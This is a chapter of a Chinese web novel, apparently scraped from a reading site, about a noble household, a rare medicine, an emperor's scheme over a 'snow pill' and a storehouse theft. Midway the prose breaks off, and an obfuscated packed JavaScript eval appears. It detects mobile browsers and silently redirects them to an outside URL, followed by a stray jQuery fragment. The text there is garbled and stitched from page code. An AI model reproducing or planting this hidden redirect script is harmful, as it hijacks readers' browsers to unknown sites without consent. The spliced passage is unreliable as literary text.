35.第三十六章 失窃

作品:《不夜侯

    第三十六章失窃


    因着准备方院正提供的药方,侯府这些时日又招了些新的婢仆,说是夫人的药方要许多贡品,发动商行,天南地北地要寻最好的。


    令新来的婢仆们感到震惊的是,府上发号施令的女公子几乎不睡觉,有时半夜子时过后,还要亲自着人去接那些冰车押送的娇贵药草。


    婢仆们总不能跟着她熬夜,只能两班倒。


    裴姻宁这几日像一块会动的冰,有棱有角,谁也不敢得罪。


    “寒崖云芝。”


    裴姻宁苦寻数日未得的一味药摆在眼前时,她不得不动容地看向面前的赠礼人。


    寒崖云芝产于天疆雪山,等过些时日,朝廷会将其定为宫中贡品,按理说,裴姻宁这样的人家若是用了,免不得遭弹劾违制。


    可偏偏这就是主药中最好的上位替代。


    裴姻宁当场收下,让聆星卷起那盒子就撤,随后亲手带着微笑布茶。


    “奚昂将军,竟如此厚礼,这怎么好意思。”


    “……”那您手倒是比嘴快。


    奚昂咳嗽了一声,接过裴姻宁的茶。


    “也是听闻府上缺这么一样东西,我这手上正好带了两株,另一株打算受爵后进奉宫中,为避嫌计,还请女公子莫要声张。”


    “这是自然,将军拳拳心意,裴姻宁感激不尽,不知今日可有所求?”


    “是这样的。”奚昂道,“此次随我同来的还有一些狁族夫长,他们想用手上的奇珍异宝换大批大漓货币,可几个钱庄联起手来压价,对我们并不公允,不知贵府能否用名下的钱庄通融通融,或者,茶砖交换也行。”


    草原上的水有毒,而砖茶解毒润燥,在草原上价比黄金。


    “小事。”裴姻宁道,“我这便吩咐下面的掌柜去安排。”


    奚昂连忙摆手:“裴娘子贵人事忙,不敢劳烦,也只需要府上来个监工就是。”


    他看裴姻宁陷入思索,提醒道:“听说裴娘子还有位庶出的兄弟,有这位公子在,在下更放心一些。”


    “他?”裴姻宁挑了挑眉,狐疑道,“舍弟足不出户,将军听谁说的?”


    奚昂脑子里想了一阵儿裴府的裙带牵连,一张小傻子的脸浮现的脑海。


    “上次万寿节同虞小娘子一道同行过,偶有耳闻。”


    “原来如此。”


    裴姻宁虽然这么说着,但心底有些不情愿,因为那雨霖铃还卡在郁骧脖颈上,他每多见一个人,自己苛待兄弟的名声就要多传一分。


    她不怕名声烂,只不过在此时,她讨厌节外生枝。


    偏偏在她打算搪塞间,一道清浅的铃铃雨声飘然过耳。


    郁骧路过门前,若是只看背影,这抱着书卷的身姿,好似个清雅的少年文士。


    “站住,你到哪儿去?”裴姻宁道。


    郁骧过于艳烈的眉眼微微一压,目光流水般扫过奚昂,对裴姻宁道:“上学。”


    “夫子病休,回我那儿去学。”


    “哦。”


    说着,转身正要离去,奚昂忽然起身,立马打蛇随棍上。


    “这位就是裴娘子的兄弟吧,果然凤姿天成,不输裴娘子风采。”


    郁骧:“你有事吗?”


    裴姻宁:“怎么对客人这样无礼,还不道歉。”


    郁骧抱着臂,一反常态,丝毫没有动的意思。


    裴姻宁瞪了他一眼,转过头对奚昂道:“舍弟疏于管教,将军见谅。”


    “无妨无妨,今日本就是为了加深和裴娘子的情谊而来,不如就让贵府这位公子送在下到门前,如何?”


    裴姻宁自然没有拒绝的道理,推搡着郁骧让他送客。


    一路无话,直到门口仆人去牵马,看着热闹的帝京街景,奚昂低声道:


    “你打算在这鹿门侯府待到什么时候?”


    “跟你有什么关系?”


    “我……”奚昂气得要死,“你要是不跟我回天疆,他们只会觉得是我假传可汗的遗命,引诱牧民投奔大漓!”


    郁骧眼底逐渐染上一丝冷峭。


    “她”最后的那段时间,之所以受尽折磨,是因为雪丹只服用了半枚。


    因为她说,服用过雪丹的人,会知道自己大概还能活多久,是以总会做出过激的举动。


    她有几个兄长都是因此谋反,她不想变成那样,为了救命,她只服用了半枚雪丹。


    可惜的是,她没有熬过去。


    直到那一日,郁骧那所谓的“父汗”又一次发疯杀了几个人之后,从萱吟那里抢来半枚剩下的雪丹,一口吞服下去,要去殉死。


    那半枚雪丹,找到凶手的唯一证据,他必须夺回来。


    所以,他剖开了那个人的喉咙,夺了回来。


    “这东西,还是还给你们吧。”


    奚昂把一只白玉匣塞到他手里,玉质通透,隐约可以看到里面有半颗褐红的丹药。


    这是他们逃亡时遗落在王庭唯一挂念的东西。


    “谢了。我们……”郁骧停顿了一下,“报完仇,如果还活着,会离开。”


    他说着,眸光不由得又往身后的深宅大院凝睇而去。


    裴姻宁的身影穿行在回廊花窗后。


    这两日她又消瘦了些许,衣衫披帛挂在肩上,像是随时会乘风离去。


    奚昂哑然,甚至有些错愕地看着郁骧,与此同时,也难免看见了他颈上的金环。


    “你不会是认真的吧?我可是听说这裴家女公子手段酷烈,你就这么放任她侮辱你?不会真觉得,一直忍下去,这些豪门大族的贵女有朝一日会真心接纳你吧。”


    “也是个办法。”


    不是!!!


    唯一的耀祖这个样子,我们天疆真的还有未来吗?


    奚昂的表情差点没裂开,进而产生了无限忧愁,跨上仆从牵来的马匹转身离去。


    …………


    年后第一次上朝,鹿门侯察觉平日里那些总是语带戏弄的朝臣们对他态度不一样了。


    “听闻陛下要提拔赵兄,提前恭喜了。”


    未等鹿门侯脸色稍霁,就听见他们恭维自己的原因。


    “我家有几个儿郎,与令嫒正当年纪,有空让他们多相处相处。”


    “今早天后又亲授了裴家商行的‘野见春棠’为大漓七雅,裴家和你鹿门侯怕是要起势了。”


    这一切,都是因为裴姻宁受到了天后的赏识。


    若是放到寻常人家,或许便借此机会和女儿和解了。


    可鹿门侯只觉得隐隐惊惧。


    不夜侯,既是诅咒的血脉,也是惊才绝艳的代称。


    她们比平常人多了一倍的时间博览群书,好似要在这短短三四十年间,用尽一切在世上留下点儿什么。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178895|194145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    而他本以为熬死那女人,彼此的恩怨会结束,可现在看来不然。


    裴姻宁的才华越来越像裴缨全盛的时候,不同的是,她正年少。


    反观自己,日渐衰老,无能为力,他这辈子,都赢不了裴璎一回。


    直到朝会结束,鹿门侯依然浑浑噩噩。


    “赵侯爷,陛下召您。”


    鹿门侯空有爵位,在朝中所任的不过是一个兵部的闲官,何曾得到过陛下青睐。


    “哎,各位,生儿子有什么用,比不过人家一个姑娘!”


    群臣发酸的羡慕声中,鹿门侯惴惴不安地跟着内侍去面圣。


    皇帝见了他,上下打量了一番,好似第一次见这个臣子般,便笑:


    “那日见你女儿侃侃其谈,一时竟想不到是赵卿家的女儿。”


    鹿门侯羞恼异常,往日里被人说裴姻宁不像他,他还能甩些脸子,可这是御前,他也只能赔着笑脸。


    皇帝见他木讷不会来事,收了笑,道:“你女儿让天后老怀大慰,朕本该予以嘉奖,提拔提拔你的后人。可日前差人问了问,却发现你膝下只有一个独女。真是可怜吶,人到中年,连个姓都传不下去。”


    鹿门侯的牙几乎咬出了血:“臣尚有一庶子,只是还年少……”


    萱吟母子,如今已经是他唯一拿得出手的借口,若非郁骧执意不肯改姓,何至于这么多闲话。


    “你也算堂堂公卿世家,当年随祖皇征战,如今却沦落到被河东裴氏吞并,心中可有不甘?”


    鹿门侯听出皇帝话中深意,猛然抬头。


    “朕是想帮你一把。”皇帝笑道,“朕记得之前赐过你家一枚雪丹,此物通神……”


    “臣这就奉还宫中!”


    “哎~”皇帝摆手,“赐下去的东西,岂有收回之理。”


    “那陛下的意思是?”


    “天后日前与朕商议重新起用于跬之事。他体弱多病,朕又不好违逆先帝的惩令赐雪丹救他,你便寻个机会,把你家的雪丹赠他,过上一年半载,朕再寻个由头重新赐与你家。”


    鹿门侯一阵晕眩,不知是殿中香炉熏人,还是五官皆震惊得无法作用,他的心跳极快。


    如吞炭火,入肺腑,烧肚肠,一发不可收拾。


    一年半载,裴璎,自己的妻子,没了雪丹这个唯一的希望,她熬不到那个时候。


    “那东西留着,过上几年,你鹿门侯府这身家都是河东裴氏的。倘若你是办成了这件事,将来的前途,可都是你自己的。赵卿,好生思量。”


    …………


    数日后,随着方院正的调养,裴夫人第一次睡到了天亮。


    足足五个时辰。


    醒来时,便看见榻边的女儿正趴着假寐,听到动静,睁开布满血丝的双眼。


    “阿姻,怎么憔悴成这样?”


    裴夫人心痛地摸了摸女儿的脸:“快去休息,否则,我宁愿不喝那药。”


    “好、好。”


    裴姻宁笑了笑,不知为何,一股期冀如春日的野草般在心底生长。


    会好的,一切都会好的。


    她这么想着,出了门,却看见翠羽苍白着脸,嘴唇颤动,眼神满是惊恐。


    “女、女公子……”


    “怎么了?”裴姻宁心底升起一丝不祥的预感。


    “府库、府库昨晚失窃了!”